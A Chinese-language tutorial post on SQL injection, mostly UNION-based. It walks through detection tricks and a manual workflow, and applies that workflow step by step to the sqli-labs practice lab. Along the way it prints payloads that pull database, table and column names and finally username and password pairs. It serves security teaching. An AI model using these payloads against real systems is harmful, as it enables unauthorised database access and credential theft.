1、SQL注入原理
SQL注入(Sql Injection)就是Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。
2、SQL注入的两个关键点
- 参数用户可控:前端传入后端的参数内容是用户可以控制的。
- 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
3、SQL注入的危害
- 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。
- 在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。
4、SQL注入基础
4.1 MySQL相关
在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。以下是关于Information_schema数据库的拓扑图:
4.2 SQL注入流程:
由于关系型数据库,具有明显的库/表/字段/字段内容结构层次,在对SQL注入漏洞的注入过程中获取数据库信息的时候,也可以按照这种顺序:
数据库名 ⟶ \longrightarrow ⟶表名 ⟶ \longrightarrow ⟶字段名 ⟶ \longrightarrow ⟶字段内容
手工注入流程:
- 寻找传参页面;
- 判断是否存在注入点;
- 字符型注入?
- 数字型注入?
- 判断字段的数量;
- 判断字段回显的位置;
- 查找数据库名、表名、字段名、字段内容;
- 登录后台。
(1)判断注入点
- and 1=1 / and 1=2 回显页面不同(整形判断)
- 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形、字符串类型判断)
- ’ and ‘1’ = '1 / ’ and ‘1’ = '2 回显页面不同(字符型判断)
- and sleep(5)(判断页面返回时间,万能)
- 在SQL语句中,
and
的优先级比or
高。- SQL语句注释:
#
或者--[space]
或者--+
(2) SQL注入分类
- 根据注入点的数据类型,可分为:
- 数字型注入
- 字符型注入
❗️❗️❗️二者最大的区别在于:字符型需要闭合,整型不需要闭合。
- 根据数据库执行的结果,可分为(四大基本手法):
- 联合查询
- 报错注入
- 布尔盲注
- 延时注入
- 根据数据提交的方式,可分为:
- Get注入
- Post注入
- Cookie注入
- HTTP头部注入
- …
- 其他注入类型:
- base64注入
- 宽字节注入
- 搜索型注入
- 读写文件
- …
5、联合注入实例基本步骤
联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION
或UNION ALL
。
(1)寻找传参页面,http://xxx.com/index.php?id=1
(2)判断注入点,127.0.0.1/sqli/less-1/index.php?id=1'
可以根据报错信息判断:如果是字符型注入,应该闭合什么符号,此处是闭合单引号。
(3)判断字段数量,order by
命令,127.0.0.1/sqli/less-1/index.php?id=1’ order by 3 --+
1后面的‘是为了闭合SQL语句中的引号
(4)判断回显位置,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,3 --+
(5)查数据库名,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,database() --+
database()
:查看当前数据库名
(5)表名
- 查表名:
select group_concat(table_name) from information_schema.tables where table_schema='security'
- information_schema.tables:指定information_schema数据库中的tables表;
- table_schema字段:保存所有的数据库名;
- table_name字段:保存所有的表名;
- group_concat()函数:输出所有属于‘security’数据库的所有表
(6)字段名
- 查询字段名:
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
(7)字段内容
- 查询字段内容:
select group_concat(concat(username,'%23',password)) from security.users
concat()函数:拼接。例如:
concat(‘hello’,‘+’,‘world’) ⟶ \longrightarrow ⟶ 输出:hello+world
文章来源:https://www.toymoban.com/news/detail-665961.html
6、总结
sql注入的基本流程:文章来源地址https://www.toymoban.com/news/detail-665961.html
- 寻找传参页面;
- 判断是否存在注入点;
- 字符型注入?
- 数字型注入?
- 判断字段的数量;
- 判断字段回显的位置;
- 查找数据库名、表名、字段名、字段内容;
- 登录后台。
到了这里,关于二、SQL注入之联合查询的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!